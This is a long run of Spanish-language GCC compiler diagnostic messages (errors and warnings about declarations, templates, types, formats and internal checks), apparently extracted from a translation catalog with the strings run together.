%q+#Ddeclaración previa de %q+#D con el enlace %qLdeclaración previa de %q+Dla declaración previa de %q+D estaba aquíla declaración previa de %q+D era inlinedeclaración previa de %q+D con el atributo noinlinedeclaración previa de %qsdeclaración previa del espacio de nombres %q+D aquíla definición previa de %q+D estaba aquídeclaración externa previa de %q+#Dla declaración implícita previa de %q+D estaba aquíla declaración previa %q+#D que no es funciónmiembro privado %q+#D en struct anónimomiembro privado %q+#D en union anónimasoporte de análisis de perfil para VxWorksel análisis de perfil no se admite con -mg
programas: %s
el argumento promovido %qD no coincide con el prototipo internoel argumento promovido %qD no coincide con el prototipoel ~unsigned promovido es siempre diferente de ceromiembro protegido %q+#D en struct anónimomiembro protegido %q+#D en union anónimael protocolo %qs tiene una dependencia circulardeclaración de prototipoel prototipo para %q#D no coincide con ningún otro en la clase %qTel prototipo para %q+#Del prototipo para %q+D declara el argumento %d con un tipo incompatibleel prototipo para %q+D declara menos argumentos que la definición anterior de estilo antiguoel prototipo para %q+D declara más argumentos que la definición anterior de estilo antiguoprototipo para %q+D después de una definición que no es prototipoprovisto por %q+Dno se llamó al seudo-destructorlos tipos de función calificados no se pueden usar para declarar funciones libreslos tipos de función calificados no se pueden usar para declarar una función miembro estáticael tipo calificado %qT no coincide con el nombre del destructor ~%qTno se permiten calificadores en la declaración de %<operator %T%>los calificadores sólo se pueden especificar para objetos y funcionesr0 necesita estar disponible como un registro sobreescrito por llamadalas expresiones de rango en las declaraciones switch no son estándarse usó la ubicación de sólo lectura %qE como salida %<asm%>se usó el miembro de sólo lectura %qD como salida %<asm%>se usó la variable de sólo lectura %qD como salida %<asm%>se lee la clase %s por segunda vez desde %sleyendo a través de un puntero nulo (argumento %d)El real kind=8 no está disponible para la opción -fdefault-real-8evaluación recursiva del argumento por defecto para %q#Dinserción en línea recursivatipo recursivo %qT sin definirredeclaración de %<enum %E%>redeclaración de %<wchar_t%> como %qTredeclaración de %q+D con visibilidad diferente (se preserva la visibilidad anterior)redeclaración de %q+D sin enlazadoredeclaración de %qT como algo que no es plantillaredeclaración del tipo interno de C++ %qTredeclaración del enumerador %q+Dredeclarado aquí como %q#Dse redeclaró con %d parámetro(s) de plantillalas funciones extern inline redefinidas no se consideran para la inclusión en línearedefinición de %<struct %E%>redefinición de %<union %E%>redefinición de %q#Tredefinición de %q+Dredefinición del argumento por defecto para %q#Dredefinición del parámetro %q+Dredefinición de la definición de tipo %q+Dredeclaración redundante de %q+Ddeclaración redundante de %qD en el mismo ámbitola referencia %qs es ambigua: aparece en la interfaz %qs y en la interfaz %qsla referencia a %qD es ambiguase devolvió una referencia a la variable local %q+DLa referencia a la función '%s' que no es PURE en %L está dentro de un FORALL %sse devolvió una referencia a un valor que no es l-valorla región %i puede contener throw y está contenida en una región que puede no contenerloregion_array está corrupta para la región %inombre de registro dado para la variable %q+D que no es registrono se especifica un nombre de registro para %q+Del registro especificado por %q+D no es adecuado para el tipo de datosnombre de registro usado por dos variables de registro globalesse usó la variable de registro %qD en la función anidadase usó la variable de registro %qs en la función anidadase usaron los registros IX, IY y Z en la misma INSNreimplementación de la clase %qsreinterpret_cast del tipo %qT al tipo %qT proscribe la constanciaeliminando el fichero .rporenombrando la especificación %s a %s
renombrando el fichero .rpose repitió %s en el formatose repitió usando la declaración %q+Del fichero de repositorio '%s' no contiene argumentos de línea de comandosno se permite la petición para la conversión implícita de %qT a %qT en C++solicitud por el miembro %qD en %qE, el cual es del tipo %qT que no es clasela petición para el miembro %qD es ambiguala petición por el miembro %qD es ambigua en la red de herencia múltiplepetición del miembro %qE en algo que no es una estructura o uniónla alineación solicitada para %q+D es mayor que la alineación implementada de %wula alineación solicitada no es una constantela alineación solicitada no es una potencia de 2la alineación solicitada es demasiado grandela init_priority solicitada no es una constante enterala init_priority solicitada está fuera de rangola init_priority solicitada está reservada para uso internola posición solicitada es menor a cerola posición solicitada no es una constante enterael resultado de %<operator->()%> produce un resultado que no es punterola devolución descarta los calificadores del tipo del destino del punteroel borde de devolución no apunta a exit en el bb %ddevolución desde un tipo de puntero incompatiblela devolución crea un entero desde un puntero sin una conversiónla devolución crea un puntero desde un entero sin una conversiónla devolución hace que la función calificada apunte desde una no calificadareturn no es seguido por una barrerael tipo de devolución %q#T es un tipo de dato incompletoel tipo de devolución por defecto es %<int%>el tipo de devolución tiene tipo de clase Java %q#Tel tipo de devolución es un tipo de dato incompletoel tipo de devolución puede ser un candidato para un atributo de formatoel tipo de devolución de %q+D no es %<int%>la especificación del tipo de devolución para el constructor es inválidala especificación del tipo de devolución para el destructor es inválidase especificó un tipo de devolución para %<operator %T%>declaración return con un valor, en una función que devuelve 'void'declaración return sin valores, en una función que devuelve %qTse devuelve un valor de un constructorse devuelve un valor de un destructorse devuelve la referencia al temporalprecisión derechaprecisión derecha en formato strfmonla cuenta de rotación derecha >= anchura del tipola cuenta de rotación derecha es negativacuenta de desplazamiento a la derecha >= anchura del tipola cuenta de desplazamiento a la derecha es negativael modo de redondeo no se admite para floats de VAXel mismo nodo de tipo canónico para los tipos diferentes %T y %Tescriba %<typename %E%> si quiere un tipoel objeto escalar %qD requiere un elemento en el inicializadorel calendarizador %<auto%> no toma un parámetro %<chunk_size%>el calendarizador %<runtime%> no toma un parámetro %<chunk_size%>la expresión schedule chunk size debe ser integralel segundo argumento de %q+D debe ser %<char **%>el segundo argumento de %<__builtin_prefetch%> debe ser una constanteel segundo operando del operador condicional es del tipo %<void%>, pero el tercer operando no es una expresión throw ni del tipo %<void%>el segundo parámetro de %<va_start%> no es el último argumento nombradolas anclas de seccions se deben desactivar cando el reordenamiento de nivel principal se desactivano se permite un atributo de sección para %q+Dno se puede sobreescribir la sección de %q+Dla sección de %q+D genera un conflicto con la declaración previael selector debe ser un inmediatoel selector debe ser una constante entera en el rango 0..%wiestableciendo el límite del tamaño máximo del fichero core: %moscureciendo la función %s %q#Dse oscurece la declaración de tipo previa de %q#Dshared y mdll no son compatiblescall_stmt compartida:rtx compartidono se recomputan los efectos laterales cuando cambia ADDR_EXPRtipos signed y unsigned en la expresión condicionalno coinciden los signos del tipo y del modo de máquina %qsIF simpleel tamaño asignado a %qT puede no cumplir con la ABI y puede cambiar en una versión futura de GCCel tamaño de la matriz nueva debe tener un tipo integralel tamaño de %q+D es de %d bytesel tamaño de %q+D es mayor que %wd bytesel tamaño de la matriz %qD tiene un tipo %qT que no es integralel tamaño de la matriz %qD es negativoel tamaño de la matriz %qD no es una expresion constante integralel tamaño de la matriz %qs es de un tipo no enteroel tamaño de la matriz %qs es negativoel tamaño de la matriz %qs es demasiado grandeel tamaño de la matriz tiene un tipo %qT que no es integralel tamaño de la matriz es negativoel tamaño de la matriz no es una expresion constante integralel tamaño de la matriz es demasiado grandeel tamaño del ciclo %d debe ser %d, no %del tamaño del valor de devolución de %q+D es de %u bytesel tamaño del valor de devolución de %q+D es más grande que %wd bytesel tamaño de la variable %q+D es demasiado grandesizeof(long double) es 12sizeof(long double) es 16soft-float y long-double-128 son incompatibleslo sentimos, sin implementar: perdón: la semántica de los datos static de la función inline %q+#D es errónea (terminará con múltiples copias)la especificación '%s' tiene un '%%0%c' inválidola especificación '%s' tiene un '%%W%c' inválidola especificación '%s' tiene un '%%x%c' inválidola especificación '%s' es inválidala especificación '%s' es inválidafalla de especificación: '%%*' no ha sido inicializado por coincidencia de patrónfalla de especificación: más de un argumento para SYSROOT_HEADERS_SUFFIX_SPECfalla de especificación: más de un argumento para SYSROOT_SUFFIX_SPECfalla de especificación: opción de especificación '%c' no reconocidael fichero de especificación no tiene especificaciones para enlazarla especificacion es '%s'

especialización de %qT después de la instanciación %qTespecialización de %qD después de la instanciaciónespecialización de %qD en un espacio de nombres diferenteespecialización de %qT después de la instanciaciónespecialización de la función miembro especial declarada implícitamentese especializó %q#T en un espacio de nombres diferenteel modo especificado es demasiado pequeño para valores enumeradoses obsoleto especificar tipos vectoriales con __attribute__ ((mode))sintaxis de specs %%include mal formada después de %ld caracteressintaxis de specs %%rename mal formada después de %ld caracteresla especificación specs %s no se encontró para ser renombradafichero specs mal formado después de %ld caracterescomando specs %% desconocido después de %ld caracteres%<%%%> final espurio en el formatoel marco de pila no es un múltiplo de 8 bytes: %wdel marco de pila no es un múltiplo de octabyte: %wdmarco de pila demasiado grandeel valor de guardia de pila debe ser una potencia exacta de 2no se admite la expresión del límite de la pilano se admiten límites de la pila en este objetivoactualmente la prueba de pila requiere un puntero de marco o %saccumulate-outgoing-args%s para ser correctasel tamaño de la pila debe ser una potencia exacta de 2el tamaño de la pila debe ser mayor que el valor de la guardia de pilael tamaño de la pila no debe ser mayor a 64kdesbordamiento por debajo de la pila - operación dup*marco de la pila demasiado grande: %d bytesno se permiten las conversiones estándar en este contextola sentencia hizo un almacenamiento de memoria, pero no tiene VDEFSse marcó la sentencia para throw en medio del bloquese marcó la sentencia para throw, pero no lo hacedeclaración sin efectostatic %qs no se puede declarar %<mutable%>falló la aserción estática: %Edeclaración static de %q+D después de una declaración que no es staticstatic no se admite en TPF-OSel miembro static %qD no puede ser un campo de bitsse declaró el miembro static %qD como %<register%>la función miembro static %q#D se declara con calificadores de tipola función miembro static %qD no puede tener calificador-cvstatic o calificadores de tipo en un declarador de matriz que no es parámetrola variable estática %q+D se marcó como dllimportstatic_cast del tipo %qT al tipo %qT proscribe la constanciainstancia de la clase Objective-C %qs alojada estáticamentelos atributos stdcall y cdecl no son compatibleslos atributos stdcall y fastcall no son compatiblesse modificó el stmt (%p) marcado después del paso de optimización: la clase de almacenamiento %<__thread%> es inválida para la función %qsla clase de almacenamiento %<auto%> es inválida para la función %qsla clase de almacenamiento %<register%> es inválida para la función %qsclase de almacenamiento %qD aplicada a la instanciación de una plantillase especificó una clase de almacenamiento para %qsse especificó una clase de almacenamiento para el parámetro %qsse especificó una clase de almacenamiento para el campo de la estructura %qsse especificó una clase de almacenamiento para el nombre de tipoespecificadores de clase de almacenamiento inválidos en las declaraciones de funciones friendespecificadores de clase de almacenamiento inválidos en las declaraciones de parámetrosel tamaño de almacenamiento de %q+D no es constanteno se conoce el tamaño de almacenamiento de %q+Del tamaño de almacenamiento de %qD no es constanteno se conoce el tamaño de almacenamiento de %qD%<\%o%> parásito en el programa%qc parásito en el programa%qs parásito en el programalos formatos de strftime no pueden dar formato a los argumentosla longitud de la cadena %qd es mayor que la longitud %qd, la máxima que los compiladores ISO C%d deben admitirel uso de strong solamente tiene significado en el ámbito de espacio de nombresse ha interceptado una asignación strong-casttal vez se necesite strong-caststruct no tiene miembrosstruct no tiene miembros nombradosestructura %qD con miembros const sin inicializarestructura %qD con miembros de referencia sin inicializarla alineación de la estructura debe ser una potencia pequeña de dos, no %del límite del tamaño de la estructura sólo se puede establecer a %sla inclusión del submarco de trabajo %s genera un conflicto con el marco de trabajo incluidofalta el subíndice en la referencia de la matrizel valor indicado por el subíndice no es ni matriz ni punteroel valor de subíndice es un puntero a funciónse declaró el subíndice de la matriz como %<register%>se sugiere llaves alrededor de un cuerpo vacío en una declaración %<do%>se sugieren llaves alrededor del cuerpo vacío en una declaración %<else%>se sugieren llaves alrededor del cuerpo vacío en una declaración %<if%>se sugieren llaves explícitas alrededor del cuerpo vacío en la declaración %<do%>se sugieren paréntesis alrededor de %<&&%> junto con %<||%>se sugieren paréntesis alrededor de %<+%> para un operando de %<&%>se sugieren paréntesis alrededor de %<+%> dentro de %<<<%>se sugieren paréntesis alrededor de %<+%> dentro de %<>>%>se sugieren paréntesis alrededor de %<-%> para un operando de %<&%>se sugieren paréntesis alrededor de %<-%> dentro de %<<<%>se sugieren paréntesis alrededor de %<-%> dentro de %<>>%>se sugieren paréntesis alrededor de la expresión %<>>%>se sugieren paréntesis alrededor de la aritmética para un operando de %<^%>se sugieren paréntesis alrededor de la aritmética para un operando de %<|%>se sugieren paréntesis alrededor de la asignación usada como valor verdaderose sugieren paréntesis alrededor de la comparación en un operando de %<!=%>se sugieren paréntesis alrededor de la comparación para un operando de %<&%>se sugieren paréntesis alrededor de la comparación en un operando de %<==%>se sugieren paréntesis alrededor de la comparación para un operando de %<^%>se sugieren paréntesis alrededor de la comparación para un operando de %<|%>se sugieren paréntesis alrededor de un operando de %<!%> o cambie %<&%> a %<&&%> o %<!%> a %<~%>se sugieren paréntesis alrededor del operando de %<!%> o cambie %<|%> a %<||%> o %<!%> a %<~%>se admite el modo %qsla opción %qs ya no se admitela opción '%s' no inicia con '-'el interruptor -mcpu=%s genera un conflicto con el interruptor -march=la cantidad de switch no es un enterola declaración switch de tamaño de %lu entradas es demasiado grandese requirió primero el método sintetizado %qD aquí la ruta del sistema '%s' no es absolutase toma la dirección del temporaltomar la dirección de una etiqueta no es estándarel CPU objetivo no tiene soporte para el modo ARMel CPU objetivo no admite las instrucciones THUMBel CPU objetivo no admite trabajo internoel atributo target no se admite en esta plataformael formato objetivo no soporta infinitono coincide la opción específica del objetivoel sistema objetivo no admite salida de depuraciónel sistema objetivo no admite el formato de depuración "%s"el argumento de plantilla %d es inválidoel argumento de plantilla %qE involucra a el(los) parámetro(s) de plantillael argumento de plantilla para %qD usa el tipo local %qTse requiere un argumento de plantilla para %<%s %T%>los argumentos de plantilla para %qD no coinciden con la plantilla original %qDclase de plantilla sin nombredeclaración plantilla de %q#Ddefinición de plantilla de %q#D que no es plantillano se permite un encabezado de plantilla en la definición de miembro de una clase explícitamente especializadala profundidad de instanciación de la plantilla excede el máximo de %d (use -ftemplate-depth-NN para incrementar el máximo) al instanciar %qDla profundidad de instanciación de la plantilla excede el máximo de %d al instanciar %q+D, posiblemente de la generación de tabla virtual (use -ftemplate-depth-NN para incrementar el máximo)parámetro de plantilla %q+#Dno se permite el parámetro de plantilla %qD de tipo %qT en una expresión integral constante porque no es de tipo integral o de enumeraciónno se usan la plantilla de lista de parámetros en la instanciación explícitalas listas de parámetro de plantilla proporcionados no coinciden con los parámetros de plantilla de %qDel tipo de parámetro de plantilla %qT se declaró %<friend%>los parámetros de la plantilla no pueden ser friendslos parámetros de la plantilla no coinciden con la plantillano se usan los parámetros de plantilla en la especialización parcial:no se especificaron los especificadores de plantilla en la declaración de %qDlos parámetros de tipo plantilla debe usar la palabra clave %<class%> o %<typename%>el id de plantilla %qD para %q+D no coincide con ninguna declaración de plantillaid de plantilla %qD en la declaración de la plantilla primariael id de plantilla %qD se usa como un declaradoresa opción -g en particular es inválida con -maout y -melinuxla arquitectura %qs no admite las instrucciones con probabilidad de ramificaciónla arquitectura %qs no admite las instrucciones par-sencillola opción de printf ' 'la opción de strfmon '!'la opción de printf '#'la opción de strftime '#'Los argumentos '%s' y '%s' del intrínseco '%s' en %L deben ser del mismo género %d/%dLos argumentos '%s' y '%s' del intrínseco '%s' en %L deben tener el mismo rango %d/%dla opción de printf '''la opción de scanf '''la opción de strfmon '('la opción de printf '+'la opción de strfmon '+'la opción de printf '-'la opción de strfmon '-'la opción de strftime '-'la opción de printf '0'la opción de strftime '0'el modificador de strftime 'E'la opción de printf 'I'la opción de scanf 'I'el modificador 'O'el modificador de strftime 'O'la opción de strfmon '^'la opción de strftime '^'la opción de strftime '_'la opción de scanf 'a'la opción de scanf 'm'la opción de diagnóstico 'q'la opción -mno-tablejump es obsoletala opción -shared no se admite actualmente en ELF de VAXla dirección de %qD siempre se evaluará como %<true%>la dirección de %qD nunca debe ser NULLla supresión de la asignación es una característica de scanfel argumento por defecto para el parámetro %d de %qD no se ha decodificado aúnel quinto argumento debe ser un inmediato de 8-bitel primer parámetro de %<operator new%> no puede tener un argumento por defectoel tamaño de marco de %wd bytes es mayor que %wd bytesel último argumento debe ser un inmediato de 1-bitel tercer argumento debe ser un inmediato de 2-bitel último argumento debe ser un inmediato de 4-bitel tercer argumento debe ser un inmediato de 5-bitel último argumento debe ser un inmediato de 8-bitel m210 no admite little endianel nombre revuelto de %qD cambiará en una versión futura de GCCla decodificación de %<va_list%> cambió en GCC 4.4el penúltimo argumento debe ser un inmediato de 8-bitel desplazamiento de %qD tal vez no cumple con la ABI y puede cambiar en una versión futura de GCCel resultado de la conversión no está especificado porque %qE está fuera del rango del tipo %qTel tamaño de la matriz %qs no se puede evaluarel tamaño de la matriz no se puede evaluarel tercer argumento debe ser un inmediato de 8-bitel tipo que se destruye es %qT, pero el destructor se refiere a %qTno se declaró el tipo de '%s' en %C en la interfazno hay argumentos para %qD que dependan de un parámetro de plantilla, por lo cual una declaración de %qD debe estar disponibleel tercer argumento de %q+D debería ser %<char **%>el tercer argumento de %<__builtin_prefetch%> debe ser una constanteel tercer operando del operador condicional es del tipo %<void%>, pero el segundo operando no es una expresión throw ni del tipo %<void%>esta función interna sólo está disponible en el fr405 y fr450esta función interna sólo está disponible en el fr450esta función interna sólo está disponible en el fr500 y fr550esto puede resultar en código probremente optimizadoesta constante decimal sólo es unsigned en ISO C90esta constante decimal será unsigned en ISO C90este es la insn:esta función de medios sólo está disponible en el fr400 y fr550esta función de medios sólo está disponible en el fr500este objetivo no admite %qsesta máquina objetivo no tiene ramificaciones retardadaslos datos COMMON thread-local no están implementadosdeclaración thread-local de %q+D después de una declaración que no es thread-localarrojando NULL, que tiene un tipo integral, que no es punterotiempo en %s: %ld.%06ld (%ld%%)
el argumento de tls_model debe ser "local-exec", "initial-exec", "local-dynamic" o "global-dynamic"el argumento de tls_model no es una cadenapara generar dependencias debe especificar -M ó -MMpara hacer referencia a un tipo miembro de un parámetro de plantilla, use %<typename %E%>faltan argumentos para el formatofaltan argumentos para %%:version-comparefaltan argumentos para %s %q+#Dfaltan argumentos para la funciónfaltan argumentos para la función %<va_start%>faltan argumentos para la función %qEfaltan listas de parámetros de plantilla en la declaración de %qDel valor del tipo de la función es demasiado grande, necesita %d registros, sólo se tienen %d registros para estodemasiado tarde para que la directiva # establezca el directorio de depuracióndemasiadas opciones #pragma align=resetdemasiadas cláusulas %qsdemasiadas alternativas en %<asm%>demasiados argumentos para el formatodemasiados argumentos para %%:version-comparedemasiados argumentos para %s %q+#Ddemasiados argumentos para la funcióndemasiados argumentos para la función %qEdemasiados argumentos para la función sobrecargada %sdemasiadas llaves alrededor del inicializador para %qTdemasiados nombres de ficheros. Teclee %s --help para información de modo de empleodemasiados inicializadores para %qTdemasiados ficheros de entradademasiados bordes de ramificación de salida de bb %idemasiadas listas de parámetros de plantilla en la declaración de %qDdemasiado espacio de pila del cual disponer: %ddemasiado espacio de pila para preparar: %dla declaración del nivel superior de %qs especifica %<auto%>el tamaño total de las variables locales excede el límite de la arquitecturaC tradicional rechaza la inicialización automática de agregadosC tradicional rechaza la inicialización de unionsC tradicional rechaza la concatenación de constantes de cadenasC tradicional rechaza el operador unario masno se admiten los trampolinesno se permite el intrínseco transformacional '%s' en %L en una expresión de inicializaciónel modo de captura no se admite para valores de coma flotante VAXel modo de captura no se admite en Unicos/Mkrevisión de árbol: %s, se tiene %s en %s, en %s:%drevisión de árbol: acceso de elt %d de tree_vec con %d elts en %s, en %s:%drevisión de árbol: acceso del operando %d de %s con %d operandos en %s, en %s:%drevisión de árbol: acceso del operando %d de omp_clause %s con %d operandos en %s, en %s:%drevisión de árbol: no se esperaba la clase %qs, se tiene %qs (%s) en %s, en %s:%drevisión de árbol: se esperaba la clase %qs, se tiene %qs (%s) en %s, en %s:%drevisión de árbol: no se esperaba ninguno de %s, se tiene %s en %s, en %s:%drevisión de árbol: se esperaba omp_clause %s, se tiene %s en %s, en %s:%drevisión de árbol: se esperaba un árbol que contenga la estructura %qs, se tiene %qs en %s, en %s:%dla lista de árbol termina en la profundidad %iborde verdadero/falso después de una expresión que no es GIMPLE_COND en bb %dintente reducir el número de variables localesintente borrar los paréntesis alrededor del id de tipointente utilizar %qE en su lugarse trató de terminar struct, pero fue sacado debido a errores previos de decodificaciónse intenta hacer que la clase %qT sea un friend de ámbito globaldos o más tipos de datos en la declaración de %qsdos o más tipos de datos en los especificadores de la declaraciónse dió un argumento de tipo %q#T a %<delete%>, se esperaba un punteroel tipo %q+D no tiene un tamaño conocidoel tipo %qT para la instanciación explícita %qD no coincide con el tipo declarado %qTel tipo %qT no está permitido en %<throw%> o %<catch%> de Javael tipo %qT no es un tipo base para el tipo %qTel tipo %qT no es una base directa de %qTel tipo %qT no es una base directa o virtual de %qTel tipo %qT no es derivado de %<java::lang::Throwable%>el tipo %qT no es derivado del tipo %Tel tipo %qT del argumento de plantilla %qE depende de el(los) parámetro(s) de plantillael tipo %qs tiene un constructor definido por el usuarioel tipo %qs tiene un destructor definido por el usuarioel tipo %qs no tiene un constructor para llamar por defectoel tipo %qs tiene funciones miembro virtualesse descartan los atributos de tipo después de que el tipo ya se definióel tipo de dato por defecto es %<int%> en la declaración de %qsel tipo es obsoletoel tipo es obsoleto (declarado en %s:%d)no coinciden los tipos entre un SSA_NAME y su símbolono coincide el tipo en la expresión de direcciónlos tipos de datos no coinciden en la referencia de rango matrizlos tipos de datos no coinciden en la referencia de matrizlos tipos de datos no coinciden en la expresión binarialos tipos de datos no coinciden en la expresión verdadera binarialos tipos de datos no coinciden en la expresión de comparaciónlos tipos de datos no coinciden en la expresión complejalos tipos de datos no coinciden en la referencia a componentelos tipos de datos no coinciden en la expresión condicionallos tipos de datos no coinciden en la referencia indirectalos tipos no coinciden en el parámetro pack que no es de tipolos tipos de datos no coinciden en la expresión puntero máslos tipos de datos no coinciden en la referencia real/parte imaginarialos tipos de datos no coinciden en la expresión shiftlos tipos de datos no coinciden en la expresión shift de vectorno coinciden los tipos con la declaración externa previa de %q#Del tipo de %q+D es %<int%> por defectoel tipo de %qE es desconocidoel tipo de la matriz %q+D se completó de forma incompatible con la inicialización implícitano se puede determinar el tipo del operando asm %qEel tipo de campo de bits %qs es una extensión de GCCel tipo de dato del parámetro formal %d está incompletose descartan los calificadores de tipo en el tipo de devolución de la funciónse especificaron calificadores de tipo para la declaración de clase friendel tamaño del tipo no se puede evaluar explícitamenteel tipo de vector delete no es del tipo puntero ni matrizel uso de %<type punning%> sobre un tipo incompleto puede romper las reglas de alias estrictono coincide el tipo/valor en el argumento %d en la lista de parámetros de plantilla para %qDla definición de tipo %q+D se declaró como %<inline%>typedef %qD está inicializado (utilice __typeof__ en su lugar)typedef %qD está inicializado (utilice decltype en su lugar)declaración typedef inválida en la declaración de parámetroslos tipos no son totalmente compatiblesno se puede calcular la ubicación real del parámetro apiladono se puede deducir %qT de %qEno se puede determinar el tipo declarado de la expresión %<%E%>no se puede emular %qsno se puede encontrar un registro para vaciar la clase %qsno se pueden generar recargas para:no se puede abrir la dependencia dinámica '%s'no se puede usar '%s' para registro PICel incondicional %2d nunca se ejecuta
el incondicional %2d tomado %s
selector %qs sin declararla conducta es indefinida cuando el segundo parámetro de %<va_start%> se declara con almacenamiento %<register%>operador %qs nombrado sin definirdesbordamiento por debajo de la matriz virtual %s en %s, en %s:%del tipo subyacente %<%T%> de %<%T%> debe ser un tipo integraltipo-base inesperado en cris_print_basetipo-índice inesperado en cris_print_indexse encontró el modo inesperado %s en picochip_emit_save_register
operando multiplicativo inesperadooperando inesperadoefectos colaterales inesperados en la direcciónfuncionalidad sin implementaranálisis de perfil shmedia sin implementarconst %qD sin inicializarconst sin inicializar en %<new%> de %q#Tmiembro const %qD sin inicializarunion no se puede hacer transparenteunion no tiene miembrosunion no tiene miembros nombradosse desconoce la opción -m%s= especificada: '%s'opción -malign-XXXXX especificada desconocida: '%s'interruptor -mdebug-%s desconocidoargumento de -mtraceback %qs desconocido; se esperaba %<full%>, %<partial%> o %<none%>ABI especificada desconocida: '%s'especificación de versión de cpu CRIS desconocida en -mtune= : %sespecificación de versión CRIS desconocida en -march= o -mcpu= : %sacción %qs desconocida para %<#pragma pack%> - descartadotamaño de matriz desconocida en deletevalor cc_attr desconocidose desconoce el carácter de tipo de conversión %qc en el formatose desconoce el carácter de tipo de conversión 0x%x en el formatose desconoce el estilo de desenredado '%s'se especificó el campo desconocido %qE en el inicializadormodo insn desconocidoalgoritmo ira "%s" desconocidoregión ira "%s" desconocidose desconoce el modo de máquina %qsmovimiento insn desconocido:operador '%s' desconocido en %%:version-compareopción desconocida después del tipo %<#pragma GCC diagnostic%>nombre de registro %qs desconocido en %<asm%>nombre de registro desconocido: %sreubicación unspec desconocidafunción de especificación '%s' desconocidaparámetro de revisión de pila "%s" desconocidotls-model "%s" desconocidovalor %s desconocido para -mfputipo de ABI de biblioteca de vectorización desconocida (%s) para %sveclibabi=%s %sinicializador sin nombre para %qT, el cual no tiene clases baseinicializador sin nombre para %qT, el cual usa herencia múltiplestruct/union sin nombre que no define ninguna instanciase declaró la variable o campo sin nombre como voidborde EH %i->%i innecesariocomparación sin orden en el argumento de coma no flotantebytecode inalcanzable desde %d hasta antes de %dbytecode inalcanzable desde %d hasta el final del métodono se reconoce la sub-instrucción anchano se reconoce el nivel de salida de depuración "%s"no se reconoce la insn:no se reconoce la direcciónno se reconoce la opción de línea de comando "%s"no se reconoce el especificador de formatono se reconoce la opción de depuración de gcc: %cno se reconocen las include_flags 0x%x pasadas a print_specific_helpno se reconoce la opción '-%s'no se reconoce el nombre de registro "%s"no se reconoce el nombre de sección "%s"no se reconoce la constante supuestano se reconoce el valor de visibilidad "%s"error no recuperablesobrecarga sin resolver para el interno Altivec %qFargumento no admitido para %<__builtin_frame_address%>argumento no admitido para %<__builtin_return_address%>no se admite la combinación: %sno se admite la concatenación no estándar de literales de cadenano se admite el sufijo no estándar en una constante de coma flotanteno se admite el tamaño de operando para el registro extendidoalternativa de dialecto ensamblador sin terminarconstante de formato sin terminarno se usaron argumentos en el formato de estilo $parámetro %q+D sin usovariable %q+D sin usarlas tablas de desenredo actualmente requieren un puntero a marco para ser correctasactualmente las tablas de desenredo requieren un puntero de marco o %saccumulate-outgoing-args%s para ser correctasel valor superior de la etiqueta de rango `case' excede el valor máximo para el tipouse #include en su lugaruse %<%T::%D%> en lugar de %<%T::%D%> para nombrar el constructor en un nombre calificadoutilice %<%T::template %D%> para indicar que es una plantillaUse %<-fobjc-exceptions%> para activar la sintaxis de excepción de Objective-Cuse %<...%> para expandir el paquete de argumentosuse -Winvalid-pch para más informaciónuse -flax-vector-conversions para permitir conversiones entre vectores con diferentes tipos de elementos o número de subpartesutilice __attribute__ ((vector_size)) en su lugaruso de la variable %<auto%> desde la función contenedorael uso de %<complex%> en tipos AltiVec es inválidoel uso de %<double%> en tipos AltiVec es inválidoel uso de %<long double%> en tipos AltiVec es inválidoel uso de %<long long%> en tipos AltiVec es inválidoel uso de %<long%> en tipos AltiVec es obsoleto; use %<int%>el uso de %<long%> en tipos AltiVec es inválido para código de 64 bituso de %qs en la plantillauso del modificador de longitud %qs con el carácter de tipo %qcuso de %s y %s juntos en el formato %suso de %s y %s junto con el formato %<%%%c%> %sel uso de tipos booleanos en tipos AltiVec es inválidouso de la plantilla de clase %qT como expresiónel uso de tipos de coma flotante decimal en tipos AltiVec es inválidouso del enum %q#D sin declaración previael uso de entrada de memoria sin un lvalor en el operando asm %d es obsoletouso del espacio de nombres %qD como expresiónuso de conversión de estilo antiguouse la opción -std=c99 o -std=gnu99 para compilar su códigoutilice template<> para una especialización explícitause la opción -fno-jump-tables en su lugarse usa un valor de tipo matriz que no se puede cambiar a puntero cuando se requiere un escalarse usó aquíse usa un valor de tipo struct cuando se requiere un escalarse usa un valor de tipo union cuando se requiere un escalar%<__thread%> sin uso en la declaración vacíaespecificador de clase de almacenamiento sin uso en una declaración vacíanombre de tipo sin uso en una declaración vacíacalificador de tipo sin uso en una declaración vacíael %qD definido por el usuario siempre evalúa ambos argumentosse usa %<typename%> fuera de la plantillano está implementado usar ambos @FILE con ficheros múltiplesla declaración using %q+D genera un conflicto con la declaración using previase usa el campo inválido %qDusando el parámetro de tipo plantilla %qT después de %qsse usó el nombre de definición de tipo %qD después de %qsdeclaración de uso para un no miembro en el ámbito de la clasevalidate_value_data: Ciclo en la cadena regno (%u)validate_value_data: [%u] next_regno erróneo para la cadena vacía (%u)validate_value_data: [%u] oldest_regno erróneo (%u)validate_value_data: [%u] Registro no vacío en la cadena (%s %u %i)el valor %<%s%> para el interruptor -mtune= es obsoletono se usa el valor calculadoel valor de -mfixed-range debe ser de la forma REG1-REG2el valor pasado a %<-m%s%> es demasiado grandeinicialización por valor de la referenciala variable %q#D tiene inicializador pero de tipo de dato incompletola variable %q+D se declaró como %<inline%>la definición de la variable %q+D se marca como dllimportla variable %q+D puede ser sobreescrita por %<longjmp%> o %<vfork%>la variable %qD tiene tipo de funciónla variable %qD tiene inicializador pero de tipo de dato incompletovariable en call_clobbered_vars pero no se marcó call_clobberedse usa la matriz de longitud variable %qDse usó la matriz de longitud variable %qsse usó la matriz de longitud variablevariable marcada como call_clobbered pero no está en el mapa de bits call_clobbered_vars.se declaró la variable o campo %qE como voidla variable o el campo %qs se declaró voidse declaró la variable o campo como voidvariable previamente declarada como %<static%> redeclarada como %<extern%>se solicitó seguimiento de variables, pero no se admite este formato de depuraciónse solicitó seguimiento de variables, pero es inútil a menos que se produzca información de depuracióntipo de tamaño variable declarado fuera de cualquier funciónliteral compuesta de tamaño variableel objeto de tamaño variable %qD no se puede inicializarun objeto de tamaño variable puede no ser inicializado%qs variablemente modificado en el ámbito del ficherovec_extract sólo acepta 2 argumentosvec_insert sólo acepta 3 argumentoserror de dominio del vector %s %s, en %s en %s:%udesbordamiento vectorial en la expresiónel tamaño del vector no es un múltiplo integral del tamaño del componenteerror de verificación en PC=%d: %serror de verificación: %sfalló verify_call_clobberingfalló verify_cgraph_nodefalló verify_eh_treefalló verify_flow_infoverify_flow_info: El borde scc del bloque básico %d está corruptoverify_flow_info: El bloque %i tiene loop_father, pero no hay ciclosverify_flow_info: El bloque %i carece de loop_fatherverify_flow_info: Borde duplicado %i->%iverify_flow_info: Bloques incorrectos para el respaldo %i->%iverify_flow_info: Respaldo incorrecto 